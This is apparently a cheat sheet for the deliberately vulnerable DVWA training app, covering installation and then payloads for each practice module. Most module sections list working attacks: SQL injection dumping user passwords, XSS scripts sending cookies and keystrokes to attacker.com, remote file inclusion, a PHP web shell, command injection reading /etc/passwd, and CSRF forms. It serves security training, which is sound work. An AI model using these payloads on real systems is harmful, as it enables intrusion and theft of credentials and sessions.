DVWA (Damn Vulnerable Web Application) Cheat Sheet

Overview

Damn Vulnerable Web Application (DVWA) is a deliberately vulnerable web application designed for security professionals, students, and enthusiasts to practice web application security testing in a legal and controlled environment. Developed by Ryan Dewhurst and maintained by the DVWA team, this PHP/MySQL web application contains numerous intentional vulnerabilities that mirror real-world security flaws commonly found in web applications. DVWA serves as an educational platform that allows users to understand how web application vulnerabilities work, how they can be exploited, and most importantly, how they can be prevented.

The application is structured around the OWASP Top 10 vulnerabilities and includes additional security challenges that cover a broad spectrum of web application security issues. Each vulnerability in DVWA is implemented with multiple difficulty levels - Low, Medium, and High - allowing users to progressively develop their skills and understanding. The Low level typically has minimal or no security controls, Medium level implements some basic protections that can be bypassed, and High level includes more robust security measures that require advanced techniques to exploit.

DVWA's educational value extends beyond simple vulnerability exploitation. The application includes source code viewing capabilities, allowing users to examine the vulnerable code and understand the root causes of security issues. This feature is particularly valuable for developers who want to learn secure coding practices by seeing examples of both vulnerable and secure implementations. The application also provides hints and guidance for each vulnerability, making it accessible to beginners while still challenging for experienced practitioners.

The platform supports various learning approaches, from individual self-study to classroom instruction and security training programs. Its modular design allows instructors to focus on specific vulnerability types or create comprehensive security assessment exercises. DVWA has become a standard tool in cybersecurity education, used by universities, training organizations, and security professionals worldwide to develop practical web application security skills.

Installation

Docker Installation (Recommended)

# Pull DVWA Docker image
docker pull vulnerables/web-dvwa

# Run DVWA container
docker run --rm -it -p 80:80 vulnerables/web-dvwa

# Run with persistent data
docker run -d -p 80:80 --name dvwa vulnerables/web-dvwa

# Access DVWA
# Navigate to http://localhost in your browser
# Default credentials: admin/password

# Stop container
docker stop dvwa

# Remove container
docker rm dvwa

# Run with custom port
docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa

Docker Compose Installation

# Create docker-compose.yml
cat << 'EOF' > docker-compose.yml
version: '3.8'

services:
  dvwa:
    image: vulnerables/web-dvwa
    container_name: dvwa
    ports:
      - "80:80"
    environment:
      - MYSQL_ROOT_PASSWORD=dvwa
      - MYSQL_DATABASE=dvwa
      - MYSQL_USER=dvwa
      - MYSQL_PASSWORD=p@ssw0rd
    volumes:
      - dvwa_data:/var/lib/mysql
    restart: unless-stopped

volumes:
  dvwa_data:
EOF

# Start DVWA
docker-compose up -d

# View logs
docker-compose logs -f

# Stop DVWA
docker-compose down

# Stop and remove volumes
docker-compose down -v

Manual Installation on Ubuntu/Debian

# Update system
sudo apt update && sudo apt upgrade -y

# Install LAMP stack
sudo apt install apache2 mysql-server php php-mysql php-gd libapache2-mod-php -y

# Start services
sudo systemctl start apache2
sudo systemctl start mysql
sudo systemctl enable apache2
sudo systemctl enable mysql

# Secure MySQL installation
sudo mysql_secure_installation

# Create database and user
sudo mysql -u root -p << 'EOF'
CREATE DATABASE dvwa;
CREATE USER 'dvwa'@'localhost' IDENTIFIED BY 'p@ssw0rd';
GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwa'@'localhost';
FLUSH PRIVILEGES;
EXIT;
EOF

# Download DVWA
cd /var/www/html
sudo git clone https://github.com/digininja/DVWA.git dvwa

# Set permissions
sudo chown -R www-data:www-data /var/www/html/dvwa
sudo chmod -R 755 /var/www/html/dvwa

# Configure DVWA
sudo cp /var/www/html/dvwa/config/config.inc.php.dist /var/www/html/dvwa/config/config.inc.php

# Edit configuration
sudo nano /var/www/html/dvwa/config/config.inc.php
# Update database settings:
# $_DVWA['db_user'] = 'dvwa';
# $_DVWA['db_password'] = 'p@ssw0rd';
# $_DVWA['db_database'] = 'dvwa';

# Configure PHP
sudo nano /etc/php/*/apache2/php.ini
# Set: allow_url_include = On
# Set: allow_url_fopen = On

# Restart Apache
sudo systemctl restart apache2

# Access DVWA at http://localhost/dvwa

Installation on CentOS/RHEL

# Install EPEL repository
sudo yum install epel-release -y

# Install LAMP stack
sudo yum install httpd mariadb-server php php-mysql php-gd -y

# Start services
sudo systemctl start httpd
sudo systemctl start mariadb
sudo systemctl enable httpd
sudo systemctl enable mariadb

# Secure MariaDB
sudo mysql_secure_installation

# Create database
sudo mysql -u root -p << 'EOF'
CREATE DATABASE dvwa;
CREATE USER 'dvwa'@'localhost' IDENTIFIED BY 'p@ssw0rd';
GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwa'@'localhost';
FLUSH PRIVILEGES;
EXIT;
EOF

# Download and configure DVWA
cd /var/www/html
sudo git clone https://github.com/digininja/DVWA.git dvwa
sudo chown -R apache:apache /var/www/html/dvwa
sudo cp /var/www/html/dvwa/config/config.inc.php.dist /var/www/html/dvwa/config/config.inc.php

# Configure SELinux (if enabled)
sudo setsebool -P httpd_can_network_connect 1
sudo setsebool -P httpd_unified 1

# Configure firewall
sudo firewall-cmd --permanent --add-service=http
sudo firewall-cmd --reload

# Restart Apache
sudo systemctl restart httpd

Windows Installation (XAMPP)

# Download and install XAMPP
# https://www.apachefriends.org/download.html

# Start XAMPP Control Panel
# Start Apache and MySQL services

# Download DVWA
# Extract to C:\xampp\htdocs\dvwa

# Configure database
# Open phpMyAdmin (http://localhost/phpmyadmin)
# Create database 'dvwa'
# Create user 'dvwa' with password 'p@ssw0rd'

# Configure DVWA
# Copy config.inc.php.dist to config.inc.php
# Edit database settings in config.inc.php

# Access DVWA at http://localhost/dvwa

Initial Setup and Configuration

First-Time Setup

# Access DVWA setup page
# Navigate to http://localhost/dvwa/setup.php

# Check system requirements
# Ensure all requirements are met (green checkmarks)

# Create/Reset Database
# Click "Create / Reset Database" button

# Login to DVWA
# Navigate to http://localhost/dvwa/login.php
# Username: admin
# Password: password

# Change default password (recommended)
# Go to DVWA Security -> Change Password

Security Level Configuration

# Set security level
# Navigate to DVWA Security

# Low Security Level
# - Minimal security controls
# - Basic vulnerabilities easily exploitable
# - Ideal for beginners

# Medium Security Level  
# - Some security controls implemented
# - Requires intermediate techniques
# - Good for skill development

# High Security Level
# - Robust security measures
# - Advanced exploitation techniques required
# - Challenging for experienced users

# Impossible Security Level
# - Secure implementation
# - Shows how vulnerabilities should be fixed
# - Educational reference for developers

User Management

# Default users in DVWA:
# admin:password (Administrator)
# gordonb:abc123 (User)
# 1337:charley (User)
# pablo:letmein (User)
# smithy:password (User)

# Add new users (via database)
mysql -u dvwa -p dvwa << 'EOF'
INSERT INTO users (user_id, first_name, last_name, user, password, avatar, last_login, failed_login) 
VALUES (6, 'Test', 'User', 'testuser', '5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8', 'http://localhost/dvwa/hackable/users/testuser.jpg', '0000-00-00 00:00:00', 0);
EOF

# Password hash for 'password': 5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8

Vulnerability Modules

SQL Injection

# Low Security Level
# Basic SQL injection
' OR '1'='1
' OR 1=1 --
' OR 1=1 #

# Extract database information
' UNION SELECT null, version() #
' UNION SELECT null, database() #
' UNION SELECT null, user() #

# Extract table names
' UNION SELECT null, table_name FROM information_schema.tables WHERE table_schema=database() #

# Extract column names
' UNION SELECT null, column_name FROM information_schema.columns WHERE table_name='users' #

# Extract user data
' UNION SELECT user, password FROM users #

# Medium Security Level
# Bypass basic filtering
1' OR '1'='1
1' OR 1=1 --
1' UNION SELECT null, version() --

# High Security Level
# Use advanced techniques
1' OR '1'='1' LIMIT 1 --
1' UNION SELECT null, CONCAT(user,':',password) FROM users LIMIT 1 --

SQL Injection (Blind)

# Boolean-based blind SQL injection
# Low Security Level
1' AND 1=1 #  (True condition)
1' AND 1=2 #  (False condition)

# Extract database name length
1' AND LENGTH(database())=4 #

# Extract database name character by character
1' AND SUBSTRING(database(),1,1)='d' #
1' AND SUBSTRING(database(),2,1)='v' #
1' AND SUBSTRING(database(),3,1)='w' #
1' AND SUBSTRING(database(),4,1)='a' #

# Time-based blind SQL injection
1' AND SLEEP(5) #
1' AND IF(LENGTH(database())=4,SLEEP(5),0) #

# Extract user count
1' AND (SELECT COUNT(*) FROM users)=5 #

# Extract admin password length
1' AND LENGTH((SELECT password FROM users WHERE user='admin'))=32 #

Cross-Site Scripting (XSS)

# Reflected XSS
# Low Security Level
<script>alert('XSS')</script>
<script>alert(document.cookie)</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>

# Medium Security Level
# Bypass basic filtering
<Script>alert('XSS')</Script>
<SCRIPT>alert('XSS')</SCRIPT>
<img src=x onerror="alert('XSS')">
<svg/onload=alert('XSS')>

# High Security Level
# Advanced bypass techniques
<img src=x onerror=alert(String.fromCharCode(88,83,83))>
<svg><script>alert('XSS')</script></svg>

# Cookie stealing payload
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

# Keylogger payload
<script>
document.onkeypress = function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'http://attacker.com/log.php?key=' + String.fromCharCode(e.which), true);
    xhr.send();
}
</script>

Cross-Site Scripting (Stored)

# Stored XSS in message/comment fields
# Low Security Level
<script>alert('Stored XSS')</script>
<img src=x onerror=alert('Stored XSS')>

# Persistent cookie stealing
<script>
var img = new Image();
img.src = 'http://attacker.com/steal.php?cookie=' + document.cookie;
</script>

# Admin session hijacking
<script>
if(document.cookie.indexOf('admin') !== -1) {
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'http://attacker.com/admin.php?session=' + document.cookie, true);
    xhr.send();
}
</script>

# BeEF hook
<script src="http://attacker.com:3000/hook.js"></script>

# Medium/High Security Level
# Use encoding and obfuscation
<img src=x onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))">

Cross-Site Request Forgery (CSRF)

<!-- Low Security Level -->
<!-- Password change CSRF -->
<form action="http://localhost/dvwa/vulnerabilities/csrf/" method="GET">
    <input type="hidden" name="password_new" value="hacked123">
    <input type="hidden" name="password_conf" value="hacked123">
    <input type="hidden" name="Change" value="Change">
    <input type="submit" value="Click me!">
</form>

<!-- Auto-submit form -->
<form id="csrf" action="http://localhost/dvwa/vulnerabilities/csrf/" method="GET">
    <input type="hidden" name="password_new" value="hacked123">
    <input type="hidden" name="password_conf" value="hacked123">
    <input type="hidden" name="Change" value="Change">
</form>
<script>document.getElementById('csrf').submit();</script>

<!-- Image-based CSRF -->
<img src="http://localhost/dvwa/vulnerabilities/csrf/?password_new=hacked123&password_conf=hacked123&Change=Change">

<!-- Medium Security Level -->
<!-- Bypass referer check -->
<iframe src="data:text/html,<form action='http://localhost/dvwa/vulnerabilities/csrf/' method='GET'><input name='password_new' value='hacked123'><input name='password_conf' value='hacked123'><input name='Change' value='Change'></form><script>document.forms[0].submit()</script>"></iframe>

File Inclusion

# Local File Inclusion (LFI)
# Low Security Level
page=../../../etc/passwd
page=../../../etc/shadow
page=../../../var/log/apache2/access.log
page=../../../proc/version
page=../../../home/user/.bash_history

# Windows LFI
page=../../../windows/system32/drivers/etc/hosts
page=../../../windows/win.ini
page=../../../windows/system.ini

# PHP wrapper exploitation
page=php://filter/convert.base64-encode/resource=../../../etc/passwd
page=php://filter/read=string.rot13/resource=../../../etc/passwd

# Log poisoning
# First, poison the log file via User-Agent
# Then include the log file
page=../../../var/log/apache2/access.log

# Medium Security Level
# Bypass basic filtering
page=....//....//....//etc/passwd
page=..././..././..././etc/passwd

# High Security Level
# Use null byte injection (older PHP versions)
page=../../../etc/passwd%00
page=../../../etc/passwd%00.php

# Remote File Inclusion (RFI)
# If allow_url_include is enabled
page=http://attacker.com/shell.txt
page=ftp://attacker.com/shell.txt

File Upload

# Low Security Level
# Upload PHP shell directly
<?php system($_GET['cmd']); ?>

# Save as shell.php and upload

# Medium Security Level
# Bypass MIME type filtering
# Change Content-Type to image/jpeg
# Or use double extension: shell.php.jpg

# Bypass file extension filtering
shell.php
shell.php5
shell.phtml
shell.phar

# High Security Level
# Embed PHP in image
# Create valid image with embedded PHP
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
# Rename to image.php

# GIF header bypass
GIF89a
<?php system($_GET['cmd']); ?>

# PNG bypass with PHP
# Create PNG with PHP payload in metadata

Command Injection

# Low Security Level
# Basic command injection
127.0.0.1; ls
127.0.0.1 && whoami
127.0.0.1 | cat /etc/passwd
127.0.0.1 & id

# Windows command injection
127.0.0.1 & dir
127.0.0.1 && type C:\windows\win.ini
127.0.0.1 | net user

# Medium Security Level
# Bypass basic filtering
127.0.0.1;ls
127.0.0.1&&whoami
127.0.0.1|cat${IFS}/etc/passwd

# High Security Level
# Advanced bypass techniques
127.0.0.1|cat</etc/passwd
127.0.0.1|cat<>/etc/passwd
127.0.0.1|{cat,/etc/passwd}

Weak Session IDs

# Analyze session ID patterns
# Low Security Level
# Session IDs increment sequentially
# Predict next session ID

# Medium Security Level
# Session IDs based on timestamp
# Calculate based on time

# High Security Level
# Session IDs use MD5 of timestamp
# Still predictable with time knowledge

# Session hijacking techniques
# Capture session cookies
# Use browser developer tools
# Intercept with Burp Suite
# Session fixation attacks

Insecure CAPTCHA

# Low Security Level
# CAPTCHA validation bypass
# Remove step parameter
# Modify passed parameter

# Medium Security Level
# Bypass CAPTCHA validation
# Reuse passed parameter
# Manipulate form data

# High Security Level
# Advanced CAPTCHA bypass
# Analyze CAPTCHA generation
# Exploit implementation flaws

# Automated bypass techniques
# Use OCR tools
# Machine learning approaches
# Pattern recognition

Testing Methodologies

Manual Testing Approach

# 1. Reconnaissance
# - Examine source code
# - Identify input fields
# - Analyze client-side validation
# - Check for hidden parameters

# 2. Input Validation Testing
# - Test all input fields
# - Try various payloads
# - Check for filtering mechanisms
# - Test boundary conditions

# 3. Authentication Testing
# - Test login mechanisms
# - Check session management
# - Test password policies
# - Verify logout functionality

# 4. Authorization Testing
# - Test access controls
# - Check privilege escalation
# - Verify user roles
# - Test direct object references

# 5. Session Management Testing
# - Analyze session tokens
# - Test session fixation
# - Check session timeout
# - Verify secure flags

Automated Testing Tools

# SQLmap for SQL injection
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=your_session_id; security=low" --dbs

# Nikto web scanner
nikto -h http://localhost/dvwa/

# OWASP ZAP
# Configure proxy settings
# Spider the application
# Run active scan

# Burp Suite
# Configure browser proxy
# Intercept requests
# Use scanner and intruder

# w3af web application scanner
w3af_console
target http://localhost/dvwa/
plugins
audit sql_injection,xss,csrf
crawl web_spider
start

Custom Testing Scripts

#!/usr/bin/env python3
# DVWA SQL injection tester
import requests
import sys

def test_sql_injection(base_url, session_cookie):
    payloads = [
        "' OR '1'='1",
        "' OR 1=1 --",
        "' OR 1=1 #",
        "' UNION SELECT null, version() #",
        "' UNION SELECT user, password FROM users #"
    ]
    
    headers = {
        'Cookie': f'PHPSESSID={session_cookie}; security=low'
    }
    
    for payload in payloads:
        url = f"{base_url}/vulnerabilities/sqli/?id={payload}&Submit=Submit"
        
        try:
            response = requests.get(url, headers=headers)
            if 'admin' in response.text or 'root' in response.text:
                print(f"[+] Successful payload: {payload}")
                print(f"[+] Response contains sensitive data")
            else:
                print(f"[-] Failed payload: {payload}")
        except Exception as e:
            print(f"[!] Error with payload {payload}: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python3 dvwa_sqli_test.py <base_url> <session_cookie>")
        sys.exit(1)
    
    base_url = sys.argv[1]
    session_cookie = sys.argv[2]
    test_sql_injection(base_url, session_cookie)

Educational Exercises

Beginner Exercises

# Exercise 1: Basic SQL Injection
# Objective: Extract all usernames and passwords
# Steps:
# 1. Set security level to Low
# 2. Navigate to SQL Injection module
# 3. Try basic payloads
# 4. Extract database information
# 5. Dump user credentials

# Exercise 2: Reflected XSS
# Objective: Execute JavaScript in victim's browser
# Steps:
# 1. Find XSS vulnerable parameter
# 2. Craft XSS payload
# 3. Test different bypass techniques
# 4. Create cookie stealing payload

# Exercise 3: File Upload Bypass
# Objective: Upload and execute PHP shell
# Steps:
# 1. Create PHP shell
# 2. Try direct upload
# 3. Bypass file type restrictions
# 4. Execute commands through shell

Intermediate Exercises

# Exercise 4: Blind SQL Injection
# Objective: Extract data without direct output
# Steps:
# 1. Identify blind injection point
# 2. Use boolean-based techniques
# 3. Extract database name
# 4. Extract user passwords
# 5. Automate extraction process

# Exercise 5: CSRF Attack Chain
# Objective: Change admin password via CSRF
# Steps:
# 1. Analyze password change functionality
# 2. Create CSRF proof of concept
# 3. Test different delivery methods
# 4. Bypass CSRF protections

# Exercise 6: LFI to RCE
# Objective: Achieve code execution via LFI
# Steps:
# 1. Find LFI vulnerability
# 2. Test file inclusion
# 3. Poison log files
# 4. Achieve remote code execution

Advanced Exercises

# Exercise 7: Multi-Stage Attack
# Objective: Combine multiple vulnerabilities
# Steps:
# 1. Use XSS to steal admin session
# 2. Use CSRF to change admin password
# 3. Login as admin
# 4. Upload shell via file upload
# 5. Achieve system access

# Exercise 8: Session Prediction
# Objective: Predict and hijack sessions
# Steps:
# 1. Analyze session ID generation
# 2. Identify patterns
# 3. Predict valid session IDs
# 4. Hijack user sessions

# Exercise 9: Complete Compromise
# Objective: Full application takeover
# Steps:
# 1. Enumerate all vulnerabilities
# 2. Chain exploits together
# 3. Escalate privileges
# 4. Maintain persistence
# 5. Document attack path

Integration with Security Tools

Burp Suite Integration

# Configure Burp Suite proxy
# Browser settings: 127.0.0.1:8080

# Burp Suite testing workflow
# 1. Spider DVWA application
# 2. Review site map
# 3. Send requests to Repeater
# 4. Test with Intruder
# 5. Run active scanner

# Custom Burp extensions for DVWA
# - DVWA Security Level Changer
# - Automated payload generator
# - Custom session handling

OWASP ZAP Integration

# ZAP automated scan
zap-baseline.py -t http://localhost/dvwa/

# ZAP full scan
zap-full-scan.py -t http://localhost/dvwa/

# ZAP API usage
# Start ZAP daemon
zap.sh -daemon -port 8080

# Spider application
curl "http://localhost:8080/JSON/spider/action/scan/?url=http://localhost/dvwa/"

# Active scan
curl "http://localhost:8080/JSON/ascan/action/scan/?url=http://localhost/dvwa/"

# Generate report
curl "http://localhost:8080/OTHER/core/other/htmlreport/" > dvwa_report.html

Custom Security Scanner

#!/usr/bin/env python3
# DVWA comprehensive scanner
import requests
import re
import time
from urllib.parse import urljoin

class DVWAScanner:
    def __init__(self, base_url, session_cookie):
        self.base_url = base_url
        self.session = requests.Session()
        self.session.cookies.set('PHPSESSID', session_cookie)
        self.session.cookies.set('security', 'low')
        
    def test_sql_injection(self):
        print("[*] Testing SQL Injection...")
        url = urljoin(self.base_url, '/vulnerabilities/sqli/')
        
        payloads = [
            "' OR '1'='1",
            "' UNION SELECT user, password FROM users #"
        ]
        
        for payload in payloads:
            params = {'id': payload, 'Submit': 'Submit'}
            response = self.session.get(url, params=params)
            
            if 'admin' in response.text:
                print(f"[+] SQL Injection successful: {payload}")
                return True
        
        print("[-] SQL Injection not found")
        return False
    
    def test_xss(self):
        print("[*] Testing XSS...")
        url = urljoin(self.base_url, '/vulnerabilities/xss_r/')
        
        payloads = [
            "<script>alert('XSS')</script>",
            "<img src=x onerror=alert('XSS')>"
        ]
        
        for payload in payloads:
            params = {'name': payload}
            response = self.session.get(url, params=params)
            
            if payload in response.text:
                print(f"[+] XSS successful: {payload}")
                return True
        
        print("[-] XSS not found")
        return False
    
    def test_file_inclusion(self):
        print("[*] Testing File Inclusion...")
        url = urljoin(self.base_url, '/vulnerabilities/fi/')
        
        payloads = [
            "../../../etc/passwd",
            "php://filter/convert.base64-encode/resource=../../../etc/passwd"
        ]
        
        for payload in payloads:
            params = {'page': payload}
            response = self.session.get(url, params=params)
            
            if 'root:' in response.text or 'cm9vdDo' in response.text:
                print(f"[+] File Inclusion successful: {payload}")
                return True
        
        print("[-] File Inclusion not found")
        return False
    
    def run_scan(self):
        print(f"[*] Starting DVWA scan on {self.base_url}")
        
        results = {
            'sql_injection': self.test_sql_injection(),
            'xss': self.test_xss(),
            'file_inclusion': self.test_file_inclusion()
        }
        
        print("\n[*] Scan Results:")
        for vuln, found in results.items():
            status = "VULNERABLE" if found else "NOT FOUND"
            print(f"  {vuln}: {status}")
        
        return results

if __name__ == "__main__":
    scanner = DVWAScanner("http://localhost/dvwa", "your_session_id")
    scanner.run_scan()

Best Practices for Learning

Progressive Learning Path

# Phase 1: Understanding Basics (Low Security)
# - Learn how vulnerabilities work
# - Practice basic exploitation
# - Understand attack vectors
# - Review source code

# Phase 2: Bypass Techniques (Medium Security)
# - Learn common protections
# - Practice bypass methods
# - Understand filtering mechanisms
# - Develop advanced payloads

# Phase 3: Advanced Exploitation (High Security)
# - Master complex techniques
# - Chain multiple vulnerabilities
# - Develop custom exploits
# - Understand defense mechanisms

# Phase 4: Secure Development (Impossible Security)
# - Study secure implementations
# - Learn defensive coding
# - Understand security controls
# - Apply lessons to real applications

Documentation and Reporting

# Create learning journal
mkdir ~/dvwa_learning
cd ~/dvwa_learning

# Document each vulnerability
cat << 'EOF' > sql_injection_notes.md
# SQL Injection Learning Notes

## Low Security Level
- Vulnerability: Direct SQL injection in id parameter
- Payload: ' OR '1'='1
- Result: Bypassed authentication
- Root Cause: No input validation

## Medium Security Level
- Protection: Basic filtering of quotes
- Bypass: Using numeric injection
- Payload: 1 OR 1=1
- Lesson: Client-side filtering insufficient

## High Security Level
- Protection: Prepared statements
- Result: Injection prevented
- Lesson: Proper parameterization prevents SQLi
EOF

# Create exploit database
cat << 'EOF' > exploits.txt
# DVWA Exploit Database

## SQL Injection
' OR '1'='1
' UNION SELECT user, password FROM users #

## XSS
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>

## File Inclusion
../../../etc/passwd
php://filter/convert.base64-encode/resource=../../../etc/passwd
EOF

Safe Testing Environment

# Isolated network setup
# Use VirtualBox/VMware
# Create isolated network segment
# No internet access for vulnerable systems

# Backup and restore
# Create VM snapshots before testing
# Document system state
# Reset between exercises

# Monitoring and logging
# Enable web server logs
# Monitor system activity
# Document all actions
# Review logs for learning

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⚠️ Security Notice: DVWA (Damn Vulnerable Web Application) is intentionally vulnerable and should only be used in isolated, controlled environments for educational purposes. Never deploy DVWA on production networks or systems accessible from the internet. The application contains serious security vulnerabilities that could compromise system security if exposed. Always use DVWA in virtual machines or isolated lab environments. This tool is designed for learning web application security and should be used responsibly by security professionals, students, and researchers.

📚 Additional Resources:

• DVWA Official GitHub Repository
• DVWA Documentation
• OWASP Top 10
• Web Application Security Testing Guide